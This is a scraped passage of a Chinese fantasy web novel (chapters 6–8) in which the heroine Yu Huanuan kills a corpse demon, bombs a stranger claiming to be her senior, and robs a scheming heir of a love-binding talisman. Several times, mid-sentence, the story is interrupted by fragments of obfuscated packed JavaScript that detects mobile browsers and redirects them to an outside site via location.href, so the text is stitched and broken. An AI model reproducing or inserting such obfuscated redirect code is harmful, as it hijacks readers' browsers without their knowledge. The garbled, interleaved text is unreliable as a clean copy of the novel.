l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107145|195681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等见到他,不论死活,都记得知会一声哦。到时候你对着这个瓶口说句话就行,就像这样。” 虞花暖看着白向晚手指一翻,掀开了宝蓝色琉璃小瓶上的盖子,对着里面大喵了三声,叽里咕噜说了些什么,重新盖上,转头将琉璃漂流瓶递了过来:“三师姐,学会了吗?” 虞花暖:“……” 不必触碰,她都可以感受到这小瓶子的不一般,绝非普通的【赋灵】作物,有点意思。 只是…… “一定要先喵三声吗?”她难得沉吟了一下。 白向晚使劲点头:“没错,就是这样,先喵三声,我的漂流瓶才能运作起来。大师姐上次没喵,漂流瓶不仅没启动,还不小心炸了。大师姐可是为此追杀了我足足半个多月!” 虞花暖:“……” 她要是信了就鬼了! 她到底还是接了过来,又试探了一句:“……彳亍。不过没想到,师妹竟如此关心二师兄,若我当真能见到他,定会为师妹美言几句。” 白向晚羞赧一笑:“当然要关心啦,毕竟如果他真的死了,师姐就会变成二师姐,而我也会从五师妹进阶成四师妹。此等好事,人人盼之,是吧师姐!不想当大师姐的白向晚不是好师妹!” 虞花暖面色不改:“这些话我也会如实转告的哦。” 白向晚顿时僵硬。 虞花暖举起漂流瓶,对着阳光转动着看了看:“还有,师妹,你的漂流瓶不是本来就能杀人吗?多谢师妹一番好意,必要的时候,我会拿来防身的。” 白向晚眼神古怪,眼神乱飘,立正,转身,然后被虞花暖拉住了衣袖。 笑眼弯弯的三师姐瞅着她,掌心向上:“多来几个小瓶瓶给师姐防身?” 白向晚:“……” 片刻后,虞花暖看着白向晚忙不迭溜走,生怕再被她薅点什么的背影,勾了勾唇。 一百多年过去了,这群【赋灵】,心眼子还是和嘴里的话一样多。 说什么不小心听到,分明整个拂尘山都是她的耳目吧。 也不知道她到底听到了多少,知道了多少,又究竟想要做什么。 但虞花暖并不十分在意,哄师妹这事儿,她这个宝梵仙宫过去的大师姐,最是擅长。 况且,要是师妹实在不听话,非要说出一点不该说的事情,她也略有方法和手段。 不过,还真是挺巧。 白向晚提到的这位消失了两个多月的二师兄,竟在清河坊和归云仙宫音讯全无? 两个可能。 要么这两处地方的确有古怪。 要么这个拂尘山二师兄,是个草包,过去没少被捞。 当然,也说不定两者兼备。 不过话说回来,这师兄是裴云阙之前有些忌惮的那位吗? 如若是的话,这个宝梵仙宫的卧底裴云阙也是个有些实力有些姿色的草包罢了。 虞花暖一边合理推测,一边重新摸出了那本厚如砖块的《灵蕴九境与十二众术要诀》,溜溜达达向着清河坊的方向而去。 又叹了口气。 刚才和裴云阙那厮装了一波大的,但事实上过去她压根没把那群请谒马屁精放在眼里过。 毕竟每次还没出剑,请谒们看清她的脸就会鸟兽散状,请神的速度哪有剑的速度快,不想死的都跑得飞快,是以她完全不知道这一道途究竟是怎么个事儿。 谁能想到,到头来,她也当上了马屁精。 罢了。 人生就是一个又一个的回旋镖。 重活一世,从头学起。 很合理。 人啊,学啊,学无止境啊,学海无涯啊。 6.第 6 章 过去赶路,九境宗师缩地成寸,三清御气,瞬息千里。 如今赶路,区区百里,虞花暖已经累了八次。 第十八次感慨了这身子实在不太中用后,虞花暖叹了口气,靠在距离清河坊还有莫约三五十里路的破庙的干草垛里,打算闭眼养息片刻。 ……然后,也不知到底过了多久,她被一杯灌到嘴里的、明显加了料的酒喝醒了。 口齿中是烈酒都没有盖住的腐香,虞花暖视线逐渐清明,愕然盯着唇边已然见底的酒器,捏着自己下颚的手指,再抬眼。 一张芙蓉玉面近在咫尺,美人娇声:“公子,夜深了,让奴家帮公子宽衣吧。” 不是,等等,她这一个养息,给她从破庙养到哪里了? 她为了赶路方便,只用了一条发带束发,怎么就成了公子了?! 如此想着,她只觉得喉头腥甜,猛地吐出来了一口血。 血色暗沉发黑,一看就不是什么好血,显然是中毒已深。 她被喂了什么东西?! ……喂她的又是什么东西? 修为日下,世风怎么也日下,什么阿猫阿狗的都敢离她这么近了! 她在思忖,面前的美人也在盯着虞花暖。 因为虞花暖那双一瞬不瞬看过来的眼眸太直白,太毫无遮掩。看着她的时候,不像是在看什么活物,倒像是在盘算用什么法子才能让她横死当场。 美人定了定神,重新打量了一遍面前的人。 是再普通不过的赶路人打扮,除却这张脸实在有些肤白如玉,瞳黑唇红,下巴尖俏,俊美漂亮得像个女子以外,与之前那些入她罗帷之人并无什么区别。 方才酒中的料也够足,否则那口血的颜色不会这么深。 如此确认一遍,美人难免觉得自己谨慎过头,大惊小怪,管他怎么看自己,横竖也没什么区别。于是一只手便要重新顺势而上,按住虞花暖的下颚与脖颈,欲要故技重施。 虞花暖满脑子的疑问,但最先需要处理的,自然是面前的“美人”。 是有点高明的幻术。 堪比她前世见过爱玩这一套的【合欢】一道。 但合欢们好歹不会认错她的性别,面前这个妖气冲天的玩意儿,是谁搞出来糊弄她的? 天下妖祟,在九境的神魂面前,无所遁形。 都不必动用什么破妄之术,只需要抬眼一瞧—— 她压根还在那破庙里,只是妖幻之术遮蔽了此处,破庙便如琼台流觞,又有美人酌酒,像是什么黄粱一梦。 若真是过路的旅人,半梦半醒便已经被灌了一杯,恐怕此刻已经晕晕乎乎入了鬼门关还不自知,以为自己当真遇上了什么话本子里的香艳绮丽。 只可惜,那所谓美人,根本眼中空荡,只见眼白,不见眼瞳。虽有人形,却无人魂,空有一层不知从哪里剥来的美人皮,皮下却是蠕动的尸虫。 哎呀,是妖。 杀过不少人,此刻正准备将她抽筋扒皮吃个干净的妖。 虞花暖昏昏沉沉打了个哈欠,唇边乌血乱淌,她却恍若不觉,只等着美人越凑越近,那张脸几乎就要贴上她的,腐烂的香气像是流淌的艳水一样泅湿她的发梢。 然后,她才道:“谁告诉你我是公子的?” 比美人的声线还要娇稚的音色响起,让对方的所有动作都顿了一瞬。 虞花暖要的就是这一瞬。 身边没什么顺手的东西,枯草也可以用。 极细的一股三清之气缭绕,枯草悄然有了寒光逼人的金石之色。只是还没等她屈指,倏而却有一声铃音响起。 “叮铃——” 铃音难辨远近,亦幻亦真,有些缥缈,虞花暖原本压根没有为这么一声分神,却见面前的美人骤然变了神色! 下一瞬,美人皮下的尸虫涌动如瀑,也不装了,五指如蛇虫般张开,在虞花暖的肩头扭曲成了虬枝,将她一把攥在了掌心。 剧烈的痛从肩头传来,反而激活了她的记忆。 她想起来了,这妖名为尸罗蛮,白日里与人无异,甚至可与人婚嫁生子,但在夜间,这尸罗蛮的妖魂便会离体,化作鬣狗模样,并以粪秽为食。 虞花暖:“……” 还不如别想起来。 没想起来的时候,只是一场单纯的危机,想起来以后,还多了一份恶心。 尸罗蛮攥着她的肩膀,显然是想要将她就这样硬生生提起来,直接带走。 然而它的躯壳刚刚要脱开这层美人皮,一根本应软且脆的枯草却已经正正地、不偏不倚地贯穿下来,将它的皮和魂影一并钉在了木案之上! 尸罗蛮吃痛尖啸,枯草应声碎成了星芒残渣,只不过困住了尸罗蛮少顷。 但也已经足够。 此前在拂尘山,她怕自己的出手被看出什么端倪,一招一式都装腔作态,力求不显露什么破绽。 而现在。 荒郊野岭,渺无人烟,她大可搞点刺激的—— 开玩笑,五脉不存,无非是花里胡哨的术法一流不能用罢了。 但要杀妖,她不为人知的花样可多了去了。 虞花暖手指错开,指尖的金光交错成绯色,繁复的箓文顺着手指蔓延到掌心,交汇的刹那,虞花暖的手悄无声息地悬在了尸罗蛮的妖丹外,只要再向前三寸,就可以穿过魂影,将那枚妖丹直接捏碎。 这招是一个【熔炉】教她的,是说只要人心够狠,也可以将自己炼化,让自己的躯壳短暂拥有如熔炉炼出的兵戈般的锋利,所以那人给这招起的名字就叫【心要狠】。 虽然虞花暖百般嫌弃这名字,也不得不承认,这种不需要五脉,不需要三清之气,只要精准地控制书写箓文的三清之气,对一个死物拥都能奏效的招式,实在好用。 只是她才要动,却听一声巨响轰然响起—— 摇摇欲坠的木门被一只抬起的脚踹开,四分五落地碎裂在地,那只脚收回去,施施然再向前的刹那,方才几乎被虞花暖忽略的铃声再度响起。 “叮铃——” 这次的铃音几乎已经在耳边。 有人来了。 这一次,尸罗蛮的尖啸变成了惊恐的咆哮,虞花暖已经顿住了手指,可尸罗蛮却在这一刻向后退却,正好撞在了她的掌心。 虞花暖不知来者是谁,摸不清当下情况,更不欲有人从自己的出手里看出什么端倪。可尸罗蛮退得太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111450|195681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急,她只来得及松开掐诀的手指,那股力却依然打在了尸罗蛮身上! 她看似轻柔一掌,尸罗蛮却好似遇见了一股庞然大力,被猛地推了出去! 将要继续向前迈的脚被凌空飞来的尸罗蛮逼停,来人似是有些惊讶,轻“咦”了一声,反应却极快,口中念了句什么,双手一抖,结出了一个命诀,打在一张缚妖纸上:“去。” 是个年轻男人的声音,淡且懒,音色却悦耳。 那张红色的缚妖纸听令,在半空倒转,胀开,像是活过来了一般向着尸罗蛮翻飞而去,千变万化,颇有些狰狞模样,不过转瞬,就已经与尸罗蛮缠斗成了一团。 虞花暖望了一眼便知,那缚妖纸稳稳占了上风,可见来者的修为很是可观。可惜她现在境界太低,看不出对方虚实。 但这并不妨碍她一手摸出五师妹白向晚的八个爆炸漂流瓶备用,一手仿若不经意地又捻了几根干草。 那人身量极高,扔出缚妖纸便继续向前而行,银边黑靴勾勒出一双修长有力的腿,衣袍翻飞,松绿色的官袍很随意地披在他身上,像是一层画皮,坠下来的银质腰牌与玉珏撞击缠绕成不死不休的一团。 他身旁悬着一盏铃铛模样的明灯,方才那铃音或许就是从这灯中传出的,灯光柔和落下,照亮了来人的眉眼。 月光与灯色都不能抚平少年脸上的不耐,他的眉梢眼角都透出些被打扰后的厌烦。但哪怕是这样的神色,都无损他漂亮得近乎昳丽的那张脸—— 琥珀瞳,眼尾长且挑,眼皮上一颗猩红瑰丽的小痣。眉骨很高,落下的阴影和眼睫染成一团浓墨,披散下来的长发染了雾气,有些说不明的湿漉,像是从夜里走出来的漂亮山魅,肤色更是白得好似带了一层鬼气。 鬼里鬼气的人抬手打了个哈欠,哈出一团冷夜里的人雾:“就是你报的官?” 报官? 什么官? 如今竟是连官府也能捉妖了吗? 她如是想着,恰又看清了他腰间翻飞的银牌上,不偏不倚,正是“平妖监”三个大字。 虞花暖才要开口,那边缚妖纸与尸罗蛮的缠斗已经到了尾声。 缚妖纸上浮凸出的血盆大口将尸罗蛮最后一点妖影吞下,打了个餍足的饱嗝,乖巧地蛰伏回纸上,缩小,再缩小。 那人伸出两根修长漂亮的手指,将从半空飘落的缚妖纸夹住,转过一双狭长的眼盯着她,像是施舍般落下目光:“三更捉妖,是夜班,要加钱。” 虞花暖:“……?” 她这一死一醒,已经快进到了捉妖收费的年代了吗? 早这样,她前世早就腰缠万贯富甲天下了,至于走投无路从路边捡了石头磨剑吗?! 而且你明明是官府的,出官差捉妖祓祟难道不是职责和义务吗? 怎么还要加钱? 为什么这人总共说了这么几个字,各个都出乎她的理解范围! 有的人,表面看起来还很平静,实则内心已经走远了好一会儿了。 对方饶有兴趣地看了她片刻,倏而很是促狭地笑了一声:“想杀我的师妹除外。” 虞花暖:“……” 不是。 啊??? 7.第 7 章 铃铛明灯在夜雾中闪烁,妖鬼幻术将散未散,腐香幽幽,虞花暖扑朔的目光也幽幽。 “原来是师兄。”她一字一字,说得很缓,又叹了口气:“一别许久,竟是连师兄都没认出,罪过,罪过。” 松绿官袍少年微微挑眉。 虞花暖十分娴熟地拔开一个漂流瓶的瓶塞,扬手扔了过去:“小师妹也很担心师兄,临行之前,还千叮咛万嘱咐,说若是见到师兄,定要……” 宝蓝色琉璃小瓶划破夜雾,像是闪烁的宝石,被掷出了一道漂亮的抛物线。 然后,在虞花暖话音未尽之时,悄然改了一隅方向,从落在对方掌心,变成了在对方脖颈……引燃! 轰! 爆炸的那一瞬,少年透过沉漉雾气,向着刹那间折身飞退的虞花暖扫来一眼—— 分明已经被火气点燃了袖口和发尾,但他的眼角眉梢却竟然毫无恼色,反而仿佛被这一抹火骤而点燃,灼出了浓烈到几乎有些愉悦的笑意。 少顷,一只通体色泽绚烂极为漂亮的凤尾龙睛鱼从附近的枯树上游曳而来,长长的尾巴在身后拖出了如梦似幻的薄紫色痕迹,那鱼绕着绿衣少年足足游了三圈,欣赏够了,才嘎嘎笑出声:“卫鹤眠,你小子也有被火烧的一天,嘎嘎哈哈哈——” 很难想象,这么貌美的一条灵鱼,居然能发出来这么粗野的声音。 卫鹤眠的眼瞳里都倒映出了火色,他没理那条鱼,只伸出一根修长的手指,从发梢的火中穿过。 便见那火竟像是惧怕一般,蓦地生出了两条小胖腿,东倒西歪唯恐避之不及地向着四周奔逃而去。 然后发现,无论跑到哪里都像是鬼打墙,最后还是会回到那根手指上。 “白向晚,几日不见,胆子大了不少啊。”卫鹤眠提溜起小火人,道:“连我都敢炸?” 小火人做了一个蹲下抱头求饶的姿势,细细的声音传了出来:“师兄你听我解释!我也没想到三师姐她会拿我的漂流瓶干这种事儿啊!我只是一个非常关心师兄的小师妹罢了,还专门拜托师姐来捞你!连师兄的热闹都不敢看,哪像那个鱼胆包天绕着你看的鱼三海,我能有什么坏心眼!” 卫鹤眠懒得听她满口流油,下一瞬就掐灭了小火人。 小火人的尖叫和鱼三海粗野的笑声同时戛然而止。 鱼三海不动声色地掖了掖自己漂亮的尾巴,显然是怕卫鹤眠这种阴晴不定的疯子一时兴起,掐完你的掐你的,顺手把它也掐了。 还好卫鹤眠显然对这事儿没什么兴趣,他弹了弹指尖的火星,三清之气拂动,顷刻便从半空凝出了一截枯草,捻在手里看了看。 “看什么呢?”鱼三海鬼鬼祟祟游曳过来,跟着他瞅了一会儿:“枯草有什么看的,被烧魔障啦?” 卫鹤眠笑了一声:“你猜,下一次,这草会不会钉在你的脑门上?” 鱼大吃一惊,鱼想要捂住脑门,鱼发现自己没有手。 鱼三海愤愤游回了悬空的铃灯里,这才有空寻思一下卫鹤眠的话。 不是,等等,哪来的枯草? 虽然卫鹤眠杀人挺不讲究的,但这人实在太懒,大多靠手捏,枯草定不会被他纳入杀人道具。 所以……是方才杀人放火一气呵成然后跑得比兔子还快的三师妹? 鱼三海眸光大亮,欲言又止,看着卫鹤眠转身要走,这才探头:“现在咱们要去哪里?” 卫鹤眠屈指,把鱼脑壳又弹回了铃灯里,笑得眉眼弯弯又鬼里鬼气:“当然是回清河坊了,师妹连我都杀,手这么痒,肯定还会杀点别的人。众所周知,我最爱看杀人的热闹了。” …… 虞花暖跑得上气不接下气,头也没回,差点把紫府里的三清之气都跑空,甚至遥遥看到了清河坊的城楼,这才停了脚步。 开玩笑。 荒郊野岭的,随便冒出来一个人,杀了只妖,说自己是她师兄,就真是了? 谁知道是不是什么人妖联手的连环套? 啧,这种小手段,她上辈子见多了。 长得越是好看,越要警惕。 把六十分的脸用异术捏成九十九分,是合欢的惯用伎俩,和她上上辈子的帽子叔叔们宣传的诈骗是一个性质。倘若信了,全身上下都能给你掏得一干二净,能留一个完整的指甲盖都是这个合欢的功力不够。 九境的神魂可以抵抗合欢的异术,这身体不行。 不快点跑,结果就是清醒着看自己被合欢吃干抹净,片甲不留。 不过,清河坊距离归云仙宫这么近,归云弟子只要出门就一定会路过,甚至坐镇仙宫的九境只需灵息流转,都能感知到这里的异动,怎会放任一只尸罗蛮如此放肆? 虽然没有完全碰到妖丹,但只是三清之气的一触,她都可以断定,这尸罗蛮至少已经吃了不下十个人。 还是说,如今时过境迁,仙宫势力已经大不如从前,四国都能招揽到仙师,将一应捉妖祓祟之事,交由给那什劳子的官府平妖监了? 至于尸罗蛮给她喂了什么,她运了气,却竟然什么都没感知到。 也许是和宝梵仙宫给她下的毒对冲,也或许是她那一口毒血恰好吐光了。 虞花暖还在思忖,却听到背后倏而响起了掌声。 晨曦将至,阳气破晓,她回头时,恰逢清晨的第一缕光落下,照亮了她的眉眼五官。 掌声莫名一滞,变成了一声疑惑的“咦”。 “我们在哪里见过吗?”那人直勾勾盯着虞花暖的脸:“虽然这么说听起来很像是不要脸的合欢搭讪,但确实很眼熟。可我最近这些年都没怎么出过宝梵仙宫,要不是正好听说这边出了尸罗蛮,又是裴大师兄专门传信,我怎么也不会走这一遭。奇怪,会是在哪里见过呢?” 虞花暖的眉头从紧皱到皱得更紧:“……裴云阙?” “裴师兄让我找的人果然是你!你就是虞觅吧?方才你炸那平妖监狗腿子的手法十分漂亮,裴师兄挑人的眼光果然很棒。不过,你平时都是直呼我们大师兄名字的吗?”凑近她的蓝衣少年眼睛更亮,甚至闪动了几分雀跃之色。 少年生了一张养尊处优的漂亮面容,身上的衣衫色泽足够低调,纹样质地却都是最上乘的,更不必说扑面而来时,他周身三清之气微妙的波动。 怕是全身上下都挂满了各种法宝和符箓咒阵,四境的修为硬是膨胀成五境,简直像是个移动的藏宝阁,这一路而来,盯着他的眼睛恐怕多如过江之鲫,再纷纷被他身上透出来的宝梵仙宫的仙印劝退。 整个宝梵仙宫上下,也就只有暮山照玄阁是这个风格了,再看少年眉眼,虞花暖已经有了几分了然:“你姓叶?” “裴大师兄给你提过我?我就知道他心里有我!”叶云行顿时美滋滋了起来,倒豆子一般开了口,又叹了口气:“自从大师兄去拂尘山将功补过,我已经有足足一年多没见过他了。打小就属大师兄最疼我了,可惜不管我怎么求我娘,她都非要罚大师兄,也不知道他什么时候才能回来。” 果然是暮山山主叶青玄的儿子。 修仙之人多长寿,修为境界越高,寿数也越长,常年浸润于充沛三清之气中的仙宫弟子更是如此。 便如面前这个少年,看起来像是凡人的十六七岁,其实…… 虞花暖也很难启齿,总不能说自己以前还抱过尚在襁褓中的他吧? 当时她就说过,按叶青玄养孩子的办法,多半会养出一个地主家的傻儿子。 现在看来,她可真是料事如神。 她也没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115925|195681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这么快就会遇见故人之后,很是有些恍惚,方才感受到宝梵仙宫气息时,刹那间腾起的杀心也散了大半,然后她才状似无意般问:“裴云阙犯了什么错?” “还不是因为大师兄非要提当年……”叶云行哪知自己顷刻间已经从生死边缘走了一趟,蓦地警醒过来,狐疑地盯着虞花暖:“不对,等等,你问这个干什么?” 虞花暖没套出来话,也不太在意,她从善如流,也叹了口气:“当然是为了更了解他啊,毕竟他总是一脸愁眉不展的模样,让人很是担心呢。” 她长得人畜无害,又是天生笑眼,这样说来,叶云行这傻孩子果然信了:“不枉裴师兄对你如此关切,说吧,这次你来这里,到底是有什么任务?是不是要杀上归云仙宫?我早就看归云仙宫那群狗腿子不顺眼了!要不是我娘按着我,我早就杀他个七进七出,让那些个遇事不决只知道请神的狗腿子们知道我们宝梵仙宫的厉害!” 虞花暖:“……” 差点忘了,七大仙宫,各有所长。而归云仙宫正是请谒的老巢。 新晋狗腿。 正是在下。 叶云行跃跃欲试地看着虞花暖,虞花暖于是笑眯眯点了点头:“正是这样。你我联手,如此如此,这般这般,三日杀进归云仙宫,七日攻破云渺大殿,保证等你回宝梵仙宫的时候,你娘能将你夸得天上有地下无,你看如何?” 这个环节叶云行熟悉,做事儿之前要先吹会儿牛皮。他热血沸腾,摩拳擦掌道:“不仅如此,我们还要脚踩镇元仙君,火烧天清老祖!听说这两个老货在小小的老子毛还没长齐的时候,阴过我娘一道,这仇不是不报,只是时候未到,现在就是报的时候!” 虞花暖连连点头的同时,又忍不住用余光上下扫了叶云行一眼。 她还在思考裴云阙送这么个地主家的傻儿子来找自己的用意。 首先排除一个来保护她的可能。 难不成是实在太想回宝梵仙宫,所以铤而走险,让叶云行来跟着自己刷一波经验,好回去给叶青玄邀功,免了他的罚? ……总不可能是让这小子来给自己爆装备的。 有这么一个金光灿灿的移动藏宝阁在身边,真是让人很难不心动。 过去的她眼高于顶。 如今的她眼馋不已。 虞花暖边想,边低头看了一眼自己的手指。 方才用了【心要狠】,反噬的结果就是现在她的手指乌漆嘛黑,看起来就像是中了剧毒,也不知多久才能好起来。可若是能摸一摸叶云行身上那件暮山玉,不过瞬息,她的手就可以恢复如常。 她正暗戳戳打着叶云行的主意,便听对方一拍脑门:“对了,大师兄让你带给我的情报呢?” 虞花暖抬手一指:“在那儿。” 叶云行不疑有他,向着虞花暖指的方向看去,压根没有发现虞花暖的另一只手偷偷摸摸在他坠于腰间的暮山玉上一扫而过。 “哪儿?” 地主家的傻儿子,好。 要不是傻儿子,怎么可能把暮山的镇山之宝这么随便地挂在外面。 她再也不腹诽叶青玄了。 虞花暖看着自己恢复如初的手,态度变得更好了几分,顺带着连裴云阙的那点儿心思都原谅了:“那儿啊,看到那个楼门上的字了吗,清河坊。这次的情报呢,就放在清河坊的姜家。所以你要做的第一件事,就是探一探这个姜家的虚实。” 叶云行拍拍胸脯,大包大揽,又道:“那你呢?” 虞花暖叹了口气:“受人之托,要找条河。” 叶云行不解:“找河做什么?河里有什么要捞吗?” 虞花暖露出了一个别问我我也不知道为什么的无辜笑容。 “我师兄。” 8.第 8 章 清河坊当然有河,还不止一条。 但虞花暖说要去捞师兄,也当然只是把叶云行支开的敷衍之词。 师兄嘛,早捞一天晚捞一天,又有什么区别。 叶云行虽然对于虞花暖要找条河捞师兄的事情大为不解,但想到她来自裴师兄卧底的那个名叫拂尘山的邪门地方,又莫名觉得合理了起来,非常顺理成章地接受了这个设定。 如虞花暖所料不差,姜家果真在梅洱剑宗的滋养下,成了这清河坊上数一数二的大户人家,叶云行在路上随便问了个人,都能给他指对路。 然而凡俗间的富贵在宝梵仙宫暮山山主之子的眼中和破破烂烂区别不太大,他看了一眼左右石狮坐镇,分明极有排场的姜家大门,连一息犹豫都没有,就上前用脚敲了敲门。 很快就有老仆带着怒色和持棍护院前来,将叶云行团团围住:“什么人!竟如此没有礼数!” 叶云行莫名其妙:“礼数?你家破门这么脏就很有礼貌吗?是我不想用手吗?用脚我都觉得会脏了鞋好吗?” 老仆活了一辈子都没听过这种话,甚至先怀疑了一瞬自己的耳朵,气得嘴唇都开始哆嗦:“你、你、你说什么——你知道我们姜家是什么门楣吗!知道这门上的辅首瑞兽都是经过仙师赐福,寻常人压根不能触碰的吗!你这个无知小儿!把他给我打——” 他的话停滞在叶云行随手一伸,就把那个被他吹得天花乱坠的辅首瑞兽摘下来的时候。 叶云行拿在手里,左右看了看,十分嫌弃,随手一扔:“仙师赐福?什么破玩意,你们被骗了吧?” 老仆眼看着那辅首骨碌碌滚到了自己脚下,目眦尽裂,猛地吐出一口血来,在彻底昏过去之前,颤抖着抬起手,指向叶云行,终于把方才没说完的话喊了出来:“给我打——” 一群持棍打手涌了上去,可人数再多,又哪里能碰到全身都是法宝护身的叶云行半根头发丝。 叶云行秉承着不得对凡体之人出手的家规,无辜又烦躁地站在人群中心,时不时还清澈地点评一下家丁打手的棍子比辅首还劣质,再招揽一波仇恨。 姜家大门一时之间乱成一团,虞花暖热闹看得七七八八,趁着叶云行随手摘掉辅首,破了护院符阵的瞬间,轻巧溜了进去。 符阵不难破,但哪有叶云行随手一下来得方便。 叶云行,好用。 前院的动静很快就传到后院,有坐不住的小辈站起身来,就要去会一会这个不知天高地厚的不速之客。 “坐下。”却听一声颇为威严的男声响起:“你是什么身份,门外之人又是什么身份?轮得到你来为这点小事出头?让下人们去处理就行了,你要时刻记住,你是姜家嫡子姜崇安!后日就要拜入归云仙宫玄峰长老门下,还要提携你小叔入檀宣作坊当把头!此事才是最大,万不可有失!” 那少年像是被泼了一头冷水,悻悻道:“知道了,父亲,那我回书房去了。” “慢着。”姜家家主提醒道:“给你的东西,放好了吗?” 提及那东西,姜崇安的精神重新一振,声音也压低了许多:“自然放好了,就在我书房……” 两人声音愈低,等到姜崇安踏出正堂,转入书房,志得意满地一把推开书房的门,屏退闲杂,将门关上,再回身时,整个人脸上的兴奋表情都凝固在了原地。 虞花暖靠坐在他宽大的椅子上,两根手指夹着一样东西,施施然问道:“你是来找这个的?” 姜崇安的目光紧紧锁在虞花暖脸上。 光从窗户里打落,恰落在她的侧脸和那只举起来的手上,面前的紫衣少女肤色透白如凝脂,眉眼含笑,声如黄鹂,就这样坐在那儿不动,就美得恍若九天仙子下凡,比……比他在归云仙宫见过的那几位已经让他惊为天人的仙师姐姐还要更美许多。 他这样痴痴盯着虞花暖,目光缓缓移到她手上,吓了一大跳,这才猛地回过神来,刚要说什么,却又动了点别的心思。 到底是姜家嫡子,见过不少世面,在最开始的错愕和惊为天人之后,已经想明白,面前这位大抵也是仙师姐姐,否则怎么能这样不惊动任何人地进入姜府。 都是仙师姐姐,他那样东西,用在谁身上不是用,既然遇见更漂亮的,又正好拿着那帖子,何不如将计就计。 反正父亲也说过,一个人身上,并非只能用一张贴,当年他姑姑姜慕儿就是这样拴住那梅洱剑宗的宗主虞闻涧,又转身拴住了那玄峰长老的。如今他就要做玄峰长老的弟子,又有何不能故技重施,用那么两三张帖子? 虞花暖微微挑眉。 然后啧啧称奇。 说来也巧,她本意是想来找关于相思贴的蛛丝马迹的,本以为要大费周章,没想到得来如此轻易不说,还看到了姜崇安这书房的桌子上厚厚一沓放着的,正是归元仙宫的《太上请神诀·初篇》。 都送到她眼前了,她自然也就翻了那么一下,学了那么一下。 然后用了那么一下。 与其花时间拷问姜崇安说实话,不如直接请个神,读个心。 对上别的仙师,她可能还要犹豫一番效用,但姜崇安这种才刚刚通灵见祟之人,她甚至不必动用九境神魂,只潦草念了个诀,姜崇安从见到她到现在的所有心声,都像是有个喇叭在叭叭叭滴滴滴一样,全都灌到她耳朵里了。 太省力了。 太好用了。 原来当马屁精的乐趣就是丢脸一时,躺平一世。 她悟了。 她要为过去对请谒的诋毁道歉。 姜崇安的算盘打得噼里啪啦,越想越觉得计划可行,正要开口,却见面前美人竖起一根手指,对他比了个“嘘”的姿势。 “不要说话,不要动。”紫衣少女的声音轻得像是一场梦,“听我说,然后用你的心回答我。” …… 小半个时辰后,姜崇安晕晕乎乎天旋地转倒在地上,唇角还带着一抹如梦似幻的傻笑。 心与心的沟通,如此美妙。美人仙师定然已经听到了他的心声,感受到了他的诚意,否则又怎么会让他用心说话。 却不知他归云仙宫的身份腰牌和他身上所有值钱的东西都被一扫而空,桌上姜家家主花了大价钱弄来的《太上请神诀》被顺走,而他雄心壮志要想要控制虞花暖的那张相思贴,也已经消失不见。 心声可比嘴诚实多了。 几个问题下来,虞花暖已经对姜府目前的情况知晓了七七八八。 姜家原本只是清河坊的普通渔夫人家,靠水吃水,靠着一手祖传的捞鱼养鱼之法,也算是旱涝保收。直到上一代中,有擅经营之人打通了将鱼卖往归云仙宫的路子,虽然只是供给外门,也已经足够姜家跃升成有头有脸的中等门户。 沾了仙家,姜家水涨船高,起初也还勤勤恳恳,可见识多了,心也就野了,到了这一代的兄妹三人,都铆足了劲儿,想要自家也能出那么一两位仙师。 直到姜慕儿遇见了虞闻涧,再到虞满入了宝梵仙宫。 姜家从此一跃而起,成了清河坊数一数二的大户不说,府中小辈也有了沾染三清之气的机缘,这不,姜崇安也要成为第一个归云仙宫的长老弟子,长此以往,假以时日,姜家也必成一方世家。 可惜这个草包姜崇安如今刚刚十五,即便姜慕儿是他的亲姑姑,当年姜慕儿与虞闻涧的事情,他所知的也太少,只知道姑姑用了那个贴,就哄得虞闻涧对她死心塌地要啥给啥,简直比迷魂药还好用。 而姜崇安拜入仙宫之后,原本要做的第一件事,就是将那张帖子,悄悄贴在玄峰长老之女汀兰的背后。那帖子上已经写好了姜崇安的生辰八字,他便是贴主。只要成功,他就能顺利迎娶这位仙宫的天之骄女。 至于贴是哪里来的,到底叫什么名字,姜崇安只模糊见过一道影子,然后就晕了过去。 简称不知道。 甚至连他的父亲在提及之时,都只会说那样东西,而不会称全名。 突出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121195|195681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个神秘且强大,但有姜慕儿珠玉在前,所有人都对这东西的效果笃信至极。 除了还有那么几个疑点之外,总体算是一个不太出乎意料的故事。 按理说,这一趟的收获已经足够丰盛,但虞花暖还没急着走。 